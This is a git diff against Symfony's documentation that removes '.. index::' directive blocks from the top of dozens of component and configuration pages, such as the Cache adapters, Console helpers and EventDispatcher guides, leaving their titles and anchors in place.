 ===================
 
diff --git a/components/browser_kit.rst b/components/browser_kit.rst
index f2c30cb8968..12c2a63a7c7 100644
--- a/components/browser_kit.rst
+++ b/components/browser_kit.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: BrowserKit
-   single: Components; BrowserKit
-
 The BrowserKit Component
 ========================
 
diff --git a/components/cache.rst b/components/cache.rst
index 29c1f0fd42b..ff650ee13c3 100644
--- a/components/cache.rst
+++ b/components/cache.rst
@@ -1,8 +1,3 @@
-.. index::
-   single: Cache
-   single: Performance
-   single: Components; Cache
-
 .. _`cache-component`:
 
 The Cache Component
diff --git a/components/cache/adapters/apcu_adapter.rst b/components/cache/adapters/apcu_adapter.rst
index 17ecd4058e6..c85050e9b4c 100644
--- a/components/cache/adapters/apcu_adapter.rst
+++ b/components/cache/adapters/apcu_adapter.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: Cache Pool
-    single: APCu Cache
-
 .. _apcu-adapter:
 
 APCu Cache Adapter
diff --git a/components/cache/adapters/array_cache_adapter.rst b/components/cache/adapters/array_cache_adapter.rst
index c7b06f40753..7429593f993 100644
--- a/components/cache/adapters/array_cache_adapter.rst
+++ b/components/cache/adapters/array_cache_adapter.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: Cache Pool
-    single: Array Cache
-
 Array Cache Adapter
 ===================
 
diff --git a/components/cache/adapters/chain_adapter.rst b/components/cache/adapters/chain_adapter.rst
index b0dd5d029ee..9a91234096e 100644
--- a/components/cache/adapters/chain_adapter.rst
+++ b/components/cache/adapters/chain_adapter.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: Cache Pool
-    single: Chain Cache
-
 .. _component-cache-chain-adapter:
 
 Chain Cache Adapter
diff --git a/components/cache/adapters/couchbasebucket_adapter.rst b/components/cache/adapters/couchbasebucket_adapter.rst
index cc99db1c967..f1e0c13b2b0 100644
--- a/components/cache/adapters/couchbasebucket_adapter.rst
+++ b/components/cache/adapters/couchbasebucket_adapter.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: Cache Pool
-    single: Couchbase Cache
-
 .. _couchbase-adapter:
 
 Couchbase Bucket Cache Adapter
diff --git a/components/cache/adapters/couchbasecollection_adapter.rst b/components/cache/adapters/couchbasecollection_adapter.rst
index 100acf14faa..a0c5e28c9a8 100644
--- a/components/cache/adapters/couchbasecollection_adapter.rst
+++ b/components/cache/adapters/couchbasecollection_adapter.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: Cache Pool
-    single: Couchabase Cache
-
 .. _couchbase-collection-adapter:
 
 Couchbase Collection Cache Adapter
diff --git a/components/cache/adapters/doctrine_adapter.rst b/components/cache/adapters/doctrine_adapter.rst
index 59c89c1c135..3b894e8388b 100644
--- a/components/cache/adapters/doctrine_adapter.rst
+++ b/components/cache/adapters/doctrine_adapter.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: Cache Pool
-    single: Doctrine Cache
-
 .. _doctrine-adapter:
 
 Doctrine Cache Adapter
diff --git a/components/cache/adapters/filesystem_adapter.rst b/components/cache/adapters/filesystem_adapter.rst
index 2a168d2522e..331dbb2dff6 100644
--- a/components/cache/adapters/filesystem_adapter.rst
+++ b/components/cache/adapters/filesystem_adapter.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: Cache Pool
-    single: Filesystem Cache
-
 .. _component-cache-filesystem-adapter:
 
 Filesystem Cache Adapter
diff --git a/components/cache/adapters/memcached_adapter.rst b/components/cache/adapters/memcached_adapter.rst
index 009ead59cbd..f2de83251c9 100644
--- a/components/cache/adapters/memcached_adapter.rst
+++ b/components/cache/adapters/memcached_adapter.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: Cache Pool
-    single: Memcached Cache
-
 .. _memcached-adapter:
 
 Memcached Cache Adapter
diff --git a/components/cache/adapters/pdo_doctrine_dbal_adapter.rst b/components/cache/adapters/pdo_doctrine_dbal_adapter.rst
index e1bf8ab5540..3615d5a1bbf 100644
--- a/components/cache/adapters/pdo_doctrine_dbal_adapter.rst
+++ b/components/cache/adapters/pdo_doctrine_dbal_adapter.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: Cache Pool
-    single: PDO Cache, Doctrine DBAL Cache
-
 .. _pdo-doctrine-adapter:
 
 PDO & Doctrine DBAL Cache Adapter
diff --git a/components/cache/adapters/php_array_cache_adapter.rst b/components/cache/adapters/php_array_cache_adapter.rst
index 52259b87f86..ae5ef13f790 100644
--- a/components/cache/adapters/php_array_cache_adapter.rst
+++ b/components/cache/adapters/php_array_cache_adapter.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: Cache Pool
-    single: PHP Array Cache
-
 PHP Array Cache Adapter
 =======================
 
diff --git a/components/cache/adapters/php_files_adapter.rst b/components/cache/adapters/php_files_adapter.rst
index fcb5bcfffd1..dce77657292 100644
--- a/components/cache/adapters/php_files_adapter.rst
+++ b/components/cache/adapters/php_files_adapter.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: Cache Pool
-    single: PHP Files Cache
-
 .. _component-cache-files-adapter:
 
 PHP Files Cache Adapter
diff --git a/components/cache/adapters/proxy_adapter.rst b/components/cache/adapters/proxy_adapter.rst
index 203521f0e4c..5177bf219df 100644
--- a/components/cache/adapters/proxy_adapter.rst
+++ b/components/cache/adapters/proxy_adapter.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: Cache Pool
-    single: Proxy Cache
-
 Proxy Cache Adapter
 ===================
 
diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index 9596386b80e..821fbb14050 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: Cache Pool
-    single: Redis Cache
-
 .. _redis-adapter:
 
 Redis Cache Adapter
diff --git a/components/cache/cache_invalidation.rst b/components/cache/cache_invalidation.rst
index e9bedfbd7d6..1005d2d09a7 100644
--- a/components/cache/cache_invalidation.rst
+++ b/components/cache/cache_invalidation.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: Cache; Invalidation
-    single: Cache; Tags
-
 Cache Invalidation
 ==================
 
diff --git a/components/cache/cache_items.rst b/components/cache/cache_items.rst
index 027bb59f4a9..9f020a39de9 100644
--- a/components/cache/cache_items.rst
+++ b/components/cache/cache_items.rst
@@ -1,8 +1,3 @@
-.. index::
-    single: Cache Item
-    single: Cache Expiration
-    single: Cache Exceptions
-
 Cache Items
 ===========
 
diff --git a/components/cache/cache_pools.rst b/components/cache/cache_pools.rst
index 375b514fe80..8d05cd268d5 100644
--- a/components/cache/cache_pools.rst
+++ b/components/cache/cache_pools.rst
@@ -1,14 +1,3 @@
-.. index::
-    single: Cache Pool
-    single: APCu Cache
-    single: Array Cache
-    single: Chain Cache
-    single: Doctrine Cache
-    single: Filesystem Cache
-    single: Memcached Cache
-    single: PDO Cache, Doctrine DBAL Cache
-    single: Redis Cache
-
 .. _component-cache-cache-pools:
 
 Cache Pools and Supported Adapters
diff --git a/components/cache/psr6_psr16_adapters.rst b/components/cache/psr6_psr16_adapters.rst
index 6b98d26744b..66e44b9c22d 100644
--- a/components/cache/psr6_psr16_adapters.rst
+++ b/components/cache/psr6_psr16_adapters.rst
@@ -1,8 +1,3 @@
-.. index::
-   single: Cache
-   single: Performance
-   single: Components; Cache
-
 Adapters For Interoperability between PSR-6 and PSR-16 Cache
 ============================================================
 
diff --git a/components/config.rst b/components/config.rst
index 7de46a6c6b7..579d5b3149d 100644
--- a/components/config.rst
+++ b/components/config.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: Config
-   single: Components; Config
-
 The Config Component
 ====================
 
diff --git a/components/config/caching.rst b/components/config/caching.rst
index 833492dd45e..810db48107e 100644
--- a/components/config/caching.rst
+++ b/components/config/caching.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Config; Caching based on resources
-
 Caching based on Resources
 ==========================
 
diff --git a/components/config/definition.rst b/components/config/definition.rst
index 8d336ea17b3..eaae06c4450 100644
--- a/components/config/definition.rst
+++ b/components/config/definition.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Config; Defining and processing configuration values
-
 Defining and Processing Configuration Values
 ============================================
 
diff --git a/components/config/resources.rst b/components/config/resources.rst
index 99e20093402..22bdd2b34e9 100644
--- a/components/config/resources.rst
+++ b/components/config/resources.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Config; Loading resources
-
 Loading Resources
 =================
 
diff --git a/components/console.rst b/components/console.rst
index 63808b14df1..14817240206 100644
--- a/components/console.rst
+++ b/components/console.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: Console; CLI
-    single: Components; Console
-
 The Console Component
 =====================
 
diff --git a/components/console/changing_default_command.rst b/components/console/changing_default_command.rst
index 6eb9f2b5227..cb035950d0b 100644
--- a/components/console/changing_default_command.rst
+++ b/components/console/changing_default_command.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Console; Changing the Default Command
-
 Changing the Default Command
 ============================
 
diff --git a/components/console/console_arguments.rst b/components/console/console_arguments.rst
index 79f5c6c1f4c..670f19e98d7 100644
--- a/components/console/console_arguments.rst
+++ b/components/console/console_arguments.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Console; Console arguments
-
 Understanding how Console Arguments and Options Are Handled
 ===========================================================
 
diff --git a/components/console/events.rst b/components/console/events.rst
index 100bc0084bc..dc03a8a88d9 100644
--- a/components/console/events.rst
+++ b/components/console/events.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Console; Events
-
 Using Events
 ============
 
diff --git a/components/console/helpers/cursor.rst b/components/console/helpers/cursor.rst
index 2485498fcab..e6d3ea3c78e 100644
--- a/components/console/helpers/cursor.rst
+++ b/components/console/helpers/cursor.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Console Helpers; Cursor Helper
-
 Cursor Helper
 =============
 
diff --git a/components/console/helpers/debug_formatter.rst b/components/console/helpers/debug_formatter.rst
index e824fac89a2..a5567fe63ed 100644
--- a/components/console/helpers/debug_formatter.rst
+++ b/components/console/helpers/debug_formatter.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Console Helpers; DebugFormatter Helper
-
 Debug Formatter Helper
 ======================
 
diff --git a/components/console/helpers/formatterhelper.rst b/components/console/helpers/formatterhelper.rst
index 78dd3dfa581..4e3f11940fd 100644
--- a/components/console/helpers/formatterhelper.rst
+++ b/components/console/helpers/formatterhelper.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Console Helpers; Formatter Helper
-
 Formatter Helper
 ================
 
diff --git a/components/console/helpers/index.rst b/components/console/helpers/index.rst
index 09546769655..81cf8aae9bf 100644
--- a/components/console/helpers/index.rst
+++ b/components/console/helpers/index.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Console; Console Helpers
-
 The Console Helpers
 ===================
 
diff --git a/components/console/helpers/processhelper.rst b/components/console/helpers/processhelper.rst
index 45572d90a66..ef462cef731 100644
--- a/components/console/helpers/processhelper.rst
+++ b/components/console/helpers/processhelper.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Console Helpers; Process Helper
-
 Process Helper
 ==============
 
diff --git a/components/console/helpers/progressbar.rst b/components/console/helpers/progressbar.rst
index 2a2c9473cff..fb3f2acfe7b 100644
--- a/components/console/helpers/progressbar.rst
+++ b/components/console/helpers/progressbar.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Console Helpers; Progress Bar
-
 Progress Bar
 ============
 
diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index d3e7498049b..01c7174e723 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Console Helpers; Question Helper
-
 Question Helper
 ===============
 
diff --git a/components/console/helpers/table.rst b/components/console/helpers/table.rst
index 7c75b4808db..e3bb282ed7e 100644
--- a/components/console/helpers/table.rst
+++ b/components/console/helpers/table.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Console Helpers; Table
-
 Table
 =====
 
diff --git a/components/console/logger.rst b/components/console/logger.rst
index 8f029e47002..9136707416f 100644
--- a/components/console/logger.rst
+++ b/components/console/logger.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Console; Logger
-
 Using the Logger
 ================
 
diff --git a/components/console/single_command_tool.rst b/components/console/single_command_tool.rst
index b5a93e560ac..b05508f232b 100644
--- a/components/console/single_command_tool.rst
+++ b/components/console/single_command_tool.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Console; Single command application
-
 Building a single Command Application
 =====================================
 
diff --git a/components/console/usage.rst b/components/console/usage.rst
index e3a6601eec5..a38b06c2cc4 100644
--- a/components/console/usage.rst
+++ b/components/console/usage.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Console; Usage
-
 Using Console Commands, Shortcuts and Built-in Commands
 =======================================================
 
diff --git a/components/contracts.rst b/components/contracts.rst
index 1f1cc3f6adc..5fe0280e5a7 100644
--- a/components/contracts.rst
+++ b/components/contracts.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: Contracts
-   single: Components; Contracts
-
 The Contracts Component
 =======================
 
diff --git a/components/css_selector.rst b/components/css_selector.rst
index 649a34293a4..adebe617424 100644
--- a/components/css_selector.rst
+++ b/components/css_selector.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: CssSelector
-   single: Components; CssSelector
-
 The CssSelector Component
 =========================
 
diff --git a/components/dependency_injection.rst b/components/dependency_injection.rst
index 470bcc7f2fc..dcc98bf2450 100644
--- a/components/dependency_injection.rst
+++ b/components/dependency_injection.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: DependencyInjection
-    single: Components; DependencyInjection
-
 The DependencyInjection Component
 =================================
 
diff --git a/components/dependency_injection/compilation.rst b/components/dependency_injection/compilation.rst
index 2d471177c58..3880d6b5508 100644
--- a/components/dependency_injection/compilation.rst
+++ b/components/dependency_injection/compilation.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: DependencyInjection; Compilation
-
 Compiling the Container
 =======================
 
diff --git a/components/dependency_injection/workflow.rst b/components/dependency_injection/workflow.rst
index eb0bbb06984..777b41dfabb 100644
--- a/components/dependency_injection/workflow.rst
+++ b/components/dependency_injection/workflow.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: DependencyInjection; Workflow
-
 Container Building Workflow
 ===========================
 
diff --git a/components/dom_crawler.rst b/components/dom_crawler.rst
index 14dee197db6..db91554f026 100644
--- a/components/dom_crawler.rst
+++ b/components/dom_crawler.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: DomCrawler
-   single: Components; DomCrawler
-
 The DomCrawler Component
 ========================
 
diff --git a/components/event_dispatcher.rst b/components/event_dispatcher.rst
index 8defeee6ba6..5459d27bdb3 100644
--- a/components/event_dispatcher.rst
+++ b/components/event_dispatcher.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: EventDispatcher
-   single: Components; EventDispatcher
-
 The EventDispatcher Component
 =============================
 
@@ -46,9 +42,6 @@ event - ``kernel.response``. Here's how it works:
   ``kernel.response`` event, allowing each of them to make modifications
   to the ``Response`` object.
 
-.. index::
-   single: EventDispatcher; Events
-
 Installation
 ------------
 
@@ -76,9 +69,6 @@ An :class:`Symfony\\Contracts\\EventDispatcher\\Event` instance is also
 created and passed to all of the listeners. As you'll see later, the ``Event``
 object itself often contains data about the event being dispatched.
 
-.. index::
-   pair: EventDispatcher; Naming conventions
-
 Naming Conventions
 ..................
 
@@ -90,9 +80,6 @@ naming conventions:
 * End names with a verb that indicates what action has been taken (e.g.
   ``order.placed``).
 
-.. index::
-   single: EventDispatcher; Event subclasses
-
 Event Names and Event Objects
 .............................
 
@@ -126,9 +113,6 @@ listeners registered with that event::
 
     $dispatcher = new EventDispatcher();
 
-.. index::
-   single: EventDispatcher; Listeners
-
 Connecting Listeners
 ~~~~~~~~~~~~~~~~~~~~
 
@@ -264,9 +248,6 @@ determine which instance is passed.
 
 .. _event_dispatcher-closures-as-listeners:
 
-.. index::
-   single: EventDispatcher; Creating and dispatching an event
-
 Creating and Dispatching an Event
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -345,9 +326,6 @@ Notice that the special ``OrderPlacedEvent`` object is created and passed to
 the ``dispatch()`` method. Now, any listener to the ``order.placed``
 event will receive the ``OrderPlacedEvent``.
 
-.. index::
-   single: EventDispatcher; Event subscribers
-
 .. _event_dispatcher-using-event-subscribers:
 
 Using Event Subscribers
@@ -427,9 +405,6 @@ example, when the ``kernel.response`` event is triggered, the methods
 ``onKernelResponsePre()`` and ``onKernelResponsePost()`` are called in that
 order.
 
-.. index::
-   single: EventDispatcher; Stopping event flow
-
 .. _event_dispatcher-event-propagation:
 
 Stopping Event Flow/Propagation
@@ -464,9 +439,6 @@ method which returns a boolean value::
         // ...
     }
 
-.. index::
-   single: EventDispatcher; EventDispatcher aware events and listeners
-
 .. _event_dispatcher-dispatcher-aware-events:
 
 EventDispatcher Aware Events and Listeners
@@ -477,9 +449,6 @@ name and a reference to itself to the listeners. This can lead to some advanced
 applications of the ``EventDispatcher`` including dispatching other events inside
 listeners, chaining events or even lazy loading listeners into the dispatcher object.
 
-.. index::
-   single: EventDispatcher; Event name introspection
-
 .. _event_dispatcher-event-name-introspection:
 
 Event Name Introspection
diff --git a/components/event_dispatcher/container_aware_dispatcher.rst b/components/event_dispatcher/container_aware_dispatcher.rst
index 659a94cee7a..ad07d7bc9a8 100644
--- a/components/event_dispatcher/container_aware_dispatcher.rst
+++ b/components/event_dispatcher/container_aware_dispatcher.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: EventDispatcher; Service container aware
-
 The Container Aware Event Dispatcher
 ====================================
 
diff --git a/components/event_dispatcher/generic_event.rst b/components/event_dispatcher/generic_event.rst
index 1dc2a5be638..dbc37cbe752 100644
--- a/components/event_dispatcher/generic_event.rst
+++ b/components/event_dispatcher/generic_event.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: EventDispatcher
-
 The Generic Event Object
 ========================
 
diff --git a/components/event_dispatcher/immutable_dispatcher.rst b/components/event_dispatcher/immutable_dispatcher.rst
index 25940825065..0a930352bfe 100644
--- a/components/event_dispatcher/immutable_dispatcher.rst
+++ b/components/event_dispatcher/immutable_dispatcher.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: EventDispatcher; Immutable
-
 The Immutable Event Dispatcher
 ==============================
 
diff --git a/components/event_dispatcher/traceable_dispatcher.rst b/components/event_dispatcher/traceable_dispatcher.rst
index 33a98a2336b..7b3819e3a48 100644
--- a/components/event_dispatcher/traceable_dispatcher.rst
+++ b/components/event_dispatcher/traceable_dispatcher.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: EventDispatcher; Debug
-    single: EventDispatcher; Traceable
-
 The Traceable Event Dispatcher
 ==============================
 
diff --git a/components/expression_language.rst b/components/expression_language.rst
index 41937ce4b0e..192d5c2d134 100644
--- a/components/expression_language.rst
+++ b/components/expression_language.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: Expressions
-    Single: Components; Expression Language
-
 The ExpressionLanguage Component
 ================================
 
@@ -122,9 +118,6 @@ expressions (e.g. the request, the current user, etc.):
     characters in untrusted data to prevent malicious users from injecting
     control characters and altering the expression.
 
-.. index::
-    single: Caching; ExpressionLanguage
-
 .. _expression-language-caching:
 
 Caching
@@ -193,10 +186,6 @@ Both ``evaluate()`` and ``compile()`` can handle ``ParsedExpression`` and
 
     var_dump($expressionLanguage->evaluate($expression)); // prints 5
 
-.. index::
-    single: AST; ExpressionLanguage
-    single: AST; Abstract Syntax Tree
-
 .. _expression-language-ast:
 
 AST Dumping and Editing
@@ -245,9 +234,6 @@ method to turn the AST into an array::
 
 .. _expression-language-extending:
 
-.. index::
-    single: Extending; ExpressionLanguage
-
 Extending the ExpressionLanguage
 --------------------------------
 
diff --git a/components/filesystem.rst b/components/filesystem.rst
index 3b6c92ad6fa..02be4175446 100644
--- a/components/filesystem.rst
+++ b/components/filesystem.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Filesystem
-
 The Filesystem Component
 ========================
 
diff --git a/components/finder.rst b/components/finder.rst
index ecae414084a..35041ddb2b1 100644
--- a/components/finder.rst
+++ b/components/finder.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: Finder
-   single: Components; Finder
-
 The Finder Component
 ====================
 
diff --git a/components/form.rst b/components/form.rst
index 601f66641b9..2f7b874d7bf 100644
--- a/components/form.rst
+++ b/components/form.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: Forms
-    single: Components; Form
-
 The Form Component
 ==================
 
diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 062a21e4e87..68d686ff211 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -1,8 +1,3 @@
-.. index::
-   single: HTTP
-   single: HttpFoundation
-   single: Components; HttpFoundation
-
 The HttpFoundation Component
 ============================
 
diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 21207bf1b1c..604ca684264 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -1,8 +1,3 @@
-.. index::
-   single: HTTP
-   single: HttpKernel
-   single: Components; HttpKernel
-
 The HttpKernel Component
 ========================
 
diff --git a/components/inflector.rst b/components/inflector.rst
index c42d6ebaeaa..89cf170c904 100644
--- a/components/inflector.rst
+++ b/components/inflector.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: Inflector
-   single: Components; Inflector
-
 The Inflector Component
 =======================
 
diff --git a/components/intl.rst b/components/intl.rst
index 1645f9092be..bdf252f1650 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: Intl
-   single: Components; Intl
-
 The Intl Component
 ==================
 
diff --git a/components/ldap.rst b/components/ldap.rst
index 08caf52b3e8..a0bec3c25dd 100644
--- a/components/ldap.rst
+++ b/components/ldap.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: Ldap
-   single: Components; Ldap
-
 The Ldap Component
 ==================
 
diff --git a/components/lock.rst b/components/lock.rst
index 0907dc114ba..ea7a66f0432 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: Lock
-   single: Components; Lock
-
 The Lock Component
 ==================
 
diff --git a/components/messenger.rst b/components/messenger.rst
index 0831bba736e..263a4dd1cca 100644
--- a/components/messenger.rst
+++ b/components/messenger.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: Messenger
-   single: Components; Messenger
-
 The Messenger Component
 =======================
 
diff --git a/components/mime.rst b/components/mime.rst
index a641283716e..c043b342ebc 100644
--- a/components/mime.rst
+++ b/components/mime.rst
@@ -1,8 +1,3 @@
-.. index::
-   single: MIME
-   single: MIME Messages
-   single: Components; MIME
-
 The Mime Component
 ==================
 
diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index cabaf199c2b..78266c2a309 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: OptionsResolver
-    single: Components; OptionsResolver
-
 The OptionsResolver Component
 =============================
 
diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index fb583bc31ce..6b44256cc6e 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: PHPUnitBridge
-   single: Components; PHPUnitBridge
-
 The PHPUnit Bridge
 ==================
 
diff --git a/components/process.rst b/components/process.rst
index 2752f25c0c1..12ee096df4e 100644
--- a/components/process.rst
+++ b/components/process.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: Process
-   single: Components; Process
-
 The Process Component
 =====================
 
diff --git a/components/property_access.rst b/components/property_access.rst
index 8238dee89f5..68bf5fc9e97 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: PropertyAccess
-    single: Components; PropertyAccess
-
 The PropertyAccess Component
 ============================
 
diff --git a/components/property_info.rst b/components/property_info.rst
index 1a60978a03e..057ca7aec97 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: PropertyInfo
-    single: Components; PropertyInfo
-
 The PropertyInfo Component
 ==========================
 
diff --git a/components/psr7.rst b/components/psr7.rst
index 2df3c6fc3af..f8a3915a816 100644
--- a/components/psr7.rst
+++ b/components/psr7.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: PSR-7
-
 The PSR-7 Bridge
 ================
 
diff --git a/components/runtime.rst b/components/runtime.rst
index 1e191333c66..f335cefa0b1 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: Runtime
-   single: Components; Runtime
-
 The Runtime Component
 =====================
 
diff --git a/components/semaphore.rst b/components/semaphore.rst
index 810d12f76d2..84e272451c4 100644
--- a/components/semaphore.rst
+++ b/components/semaphore.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: Semaphore
-   single: Components; Semaphore
-
 The Semaphore Component
 =======================
 
diff --git a/components/serializer.rst b/components/serializer.rst
index 5a95823163d..32e60fa240b 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: Serializer
-   single: Components; Serializer
-
 The Serializer Component
 ========================
 
diff --git a/components/string.rst b/components/string.rst
index 51516bc908d..2990cd36e48 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: String
-   single: Components; String
-
 The String Component
 ====================
 
diff --git a/components/uid.rst b/components/uid.rst
index a19d46fb871..a2377c52b8b 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: UID
-   single: Components; UID
-
 The UID Component
 =================
 
diff --git a/components/using_components.rst b/components/using_components.rst
index 31a0f24d1be..f975be7e1b2 100644
--- a/components/using_components.rst
+++ b/components/using_components.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: Components; Installation
-   single: Components; Usage
-
 .. _how-to-install-and-use-the-symfony2-components:
 
 How to Install and Use the Symfony Components
diff --git a/components/validator.rst b/components/validator.rst
index 8698934c0a0..085c77a7946 100644
--- a/components/validator.rst
+++ b/components/validator.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: Validator
-   single: Components; Validator
-
 The Validator Component
 =======================
 
diff --git a/components/validator/metadata.rst b/components/validator/metadata.rst
index 226ffd46b06..07ee9c52d79 100755
--- a/components/validator/metadata.rst
+++ b/components/validator/metadata.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Validator; Metadata
-
 Metadata
 ========
 
diff --git a/components/validator/resources.rst b/components/validator/resources.rst
index 7af7d1a4622..0eb5bc71e86 100644
--- a/components/validator/resources.rst
+++ b/components/validator/resources.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Validator; Loading Resources
-
 Loading Resources
 =================
 
diff --git a/components/var_dumper.rst b/components/var_dumper.rst
index e7d3d381313..6b0d3bc6ea1 100644
--- a/components/var_dumper.rst
+++ b/components/var_dumper.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: VarDumper
-   single: Components; VarDumper
-
 The VarDumper Component
 =======================
 
@@ -471,10 +467,6 @@ then its dump representation::
 
 .. _var-dumper-advanced:
 
-.. index::
-   single: VarDumper
-   single: Components; VarDumper
-
 Advanced Usage
 --------------
 
diff --git a/components/var_exporter.rst b/components/var_exporter.rst
index ea52252b3cc..0b83b94dd76 100644
--- a/components/var_exporter.rst
+++ b/components/var_exporter.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: VarExporter
-   single: Components; VarExporter
-
 The VarExporter Component
 =========================
 
diff --git a/components/workflow.rst b/components/workflow.rst
index 67b00730b69..5161db5f888 100644
--- a/components/workflow.rst
+++ b/components/workflow.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: Workflow
-   single: Components; Workflow
-
 The Workflow Component
 ======================
 
diff --git a/components/yaml.rst b/components/yaml.rst
index 94d0278959f..f179d306ca1 100644
--- a/components/yaml.rst
+++ b/components/yaml.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: Yaml
-   single: Components; Yaml
-
 The Yaml Component
 ==================
 
diff --git a/configuration.rst b/configuration.rst
index cfa519409c6..c56b895da8b 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Configuration
-
 Configuring Symfony
 ===================
 
@@ -385,9 +382,6 @@ a new ``locale`` parameter is added to the ``config/services.yaml`` file).
     Later in this article you can read how to
     :ref:`get configuration parameters in controllers and services <configuration-accessing-parameters>`.
 
-.. index::
-   single: Environments; Introduction
-
 .. _page-creation-environments:
 .. _page-creation-prod-cache-clear:
 .. _configuration-environments:
diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index 8ea5f3cc42e..358f3989a69 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Environment Variable Processors; env vars
-
 .. _env-var-processors:
 
 Environment Variable Processors
diff --git a/configuration/front_controllers_and_kernel.rst b/configuration/front_controllers_and_kernel.rst
index b0048e43e1d..e5319a8b063 100644
--- a/configuration/front_controllers_and_kernel.rst
+++ b/configuration/front_controllers_and_kernel.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: How the front controller, ``Kernel`` and environments
-    work together
-
 Understanding how the Front Controller, Kernel and Environments Work together
 =============================================================================
 
@@ -122,9 +118,6 @@ new kernel.
     But odds are high that you don't need to change things like this on the
     fly by having several ``Kernel`` implementations.
 
-.. index::
-   single: Configuration; Debug mode
-
 .. _debug-mode:
 
 Debug Mode
@@ -219,9 +212,6 @@ config files found on ``config/packages/*`` and then, the files found on
 ``config/packages/ENVIRONMENT_NAME/``. You are free to implement this method
